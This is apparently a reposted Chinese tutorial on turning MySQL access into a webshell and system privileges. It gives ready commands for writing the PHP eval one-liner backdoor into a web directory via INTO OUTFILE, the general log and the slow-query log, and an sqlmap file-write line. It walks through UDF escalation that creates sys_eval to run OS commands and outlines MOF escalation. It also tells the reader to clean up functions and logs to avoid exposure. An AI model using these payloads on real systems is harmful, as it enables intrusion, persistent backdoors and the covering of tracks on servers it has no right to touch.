通过数据库来获取webshell的权限
1.通过
into outfile
来写shell
into outfile
写shell要满足如下的条件才能写入:
1、知道网站的物理路径
2、高权限数据库用户
3、load_file()开启 即
secure_file_priv=""
无限制
4、网络路径有写入权限
secure_file_priv
值的解释:
值说明NULL不允许导入或导出/只允许在/目录导入导出空不限制目录
在 MySQL 5.5 之前
secure_file_priv
默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后
secure_file_priv
默认是 NULL,这个情况下不可以写文件,如果管理员配置成
secure_file_priv=''
还是可以用
into outfile
来写shell
运行如下命令:
show global variables like '%secure_file_priv%';
查看
secure_file_priv
的值是否为空
如果是空值,运行
select '<?php @eval($_REQUEST[123]);?>' into outfile 'D:/WWW/yzmcms-3-master/yzmcms-3/shell.php';
意思就是把一句话木马
<?php @eval($_REQUEST[123]);?>
写到后面提供的地址上,文件名叫
shell.php
也可以使用
sqlmap
sqlmap -u "http://x.x.x.x/?id=x" --file-write="源木马文件地址" --file-dest="目标木马
地址"
2.利用日志写shell
当
into outfile
没有办法写shell的时候,就可以通过写日志来写shell
MySQL5.0以上会创建日志文件,通过修改日志的全局变量中的存储位置来getshell
写shell步骤
一、查看日志的情况
SHOW VARIABLES LIKE '%general%';
会得到一个表格
ValueVariable_nameOFFgeneral_logD:\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-QGB8JU5.loggeneral_log_file
首先我们要知道
general_log
默认是关闭的,高权限的用户可以直接通过mysql命令行进行开启,开启后日志文件记录用户的
每条指令,将其保存在general_log _file中。我们可以通过开启general_log ,然后自定义general_log
_file来进行getshell。
如果是关闭状态的,输入以下的指令来进行开启
set global general_log = "ON"
二、修改general_log_file路径
set global general_log_file='D:/WWW/yzmcms-3-master/yzmcms-3/shell_log.php';
三、检查
general_log
是否开启,路径是否修改
SHOW VARIABLES LIKE '%general%';
四、测试写日志
select "<?php @eval($_REQUEST[123]);?>";
五、访问网站主页并执行命令
[目标网站url]?6=phpinfo();
3.慢日志写shell
原理就是:MySQL有一种日志是用来记录MySQL中超时的响应时间(10s)的指令
大致的写shell的步骤是
show variables like '%slow%';
set GLOBAL slow_query_log_file='C:/WWW/shell.php';
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);
去网站访问shell.php
127.0.0.1/shell.php
4.通过数据库来提升权限
UDF提权
UDF(用户自定义函数)提权是一种在数据库中利用用户自定义函数功能进行权限提升的技术,常见于 MySQL 环境。以下是实现 UDF 提权的关键步骤和条件:
条件
1、root权限或者是其他用户(拥有file权限的用户)
2、知道目标服务器的操作系统类型(windows还是Linux)以及框架(32位还是64位),以便编译对应的 UDF 动态库文件。
3、操作系统的写权限:数据库所在的服务器允许将文件写入插件目录
查看插件位置
show variables like "%plugin%";
Variable_nameValuedefault_authentication_pluginmysql_native_passwordplugin_dirD:phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin文件夹下文件夹下才能创建自定义函数,该目录默认是不存在的,需要找到 MySQL 的安装目录。(要去拿到webshell后,连接蚁剑,创建相应的目录)
如果是 MySQL < 5.1 的版本,需要把 UDF 的动态链接库文件放置于 C:\Windows\System32。
- 获取插件目录 在 MySQL 中执行以下命令,获取插件目录路径:
HOW VARIABLES LIKE 'plugin_dir';
- 生成或下载 UDF 动态库文件- Windows 平台:
.dll
文件- Linux 平台:.so
文件 这些文件需要提前编译或下载。 - 写入 UDF 文件到插件目录 使用 SQL 语句将动态库写入插件目录:
SELECT '' INTO DUMPFILE '/path/to/plugin_dir/udf_library.dll';
- 创建自定义函数 在 MySQL 中创建 UDF 函数,例如:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_library.dll';
- 调用函数执行命令 使用创建的函数执行系统命令,例如:
SELECT sys_eval('id'); -- 查看当前用户信息SELECT sys_eval('whoami'); -- 查看操作系统当前用户
- 清理痕迹 删除自定义函数和动态库:
DROP FUNCTION sys_eval;
手动删除动态库文件(需具备相应权限)。
5.MOF****提权
现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。
MOF提权利用的原理是利用Windows管理基础设施中的一个特性,该特性会定期检测和执行系统中的
MOF文件。MOF文件是用于描述和定义管理信息的文件格式,在Windows中,系统会定期检查指定目录
下的MOF文件,并根据文件中的内容执行相关操作。
攻击者可以通过MySQL的 load_file 函数将恶意的MOF文件写入系统目录(比如
C:\Windows\System32\wbem\mof ),然后等待系统定期检查该目录。一旦系统检测到了新的MOF文
件,就会根据文件中的内容执行相应的操作。因为MOF文件的执行是以系统权限进行的,所以攻击者可
以通过构造恶意的MOF文件来实现权限提升,从而执行系统级别的操作,比如获取敏感信息、修改系统
配置等。
MSF中有现成的模块
注意事项
- 权限限制:现代数据库版本通常会限制
FILE
权限或对插件目录的访问,限制此类提权行为。 - 日志记录:所有操作都会在 MySQL 日志中留下痕迹,需清理相关日志避免暴露。
- 权限隔离:确保操作系统层面无法直接利用低权限的数据库用户。
版权归原作者 Liqinyi666 所有, 如有侵权,请联系我们删除。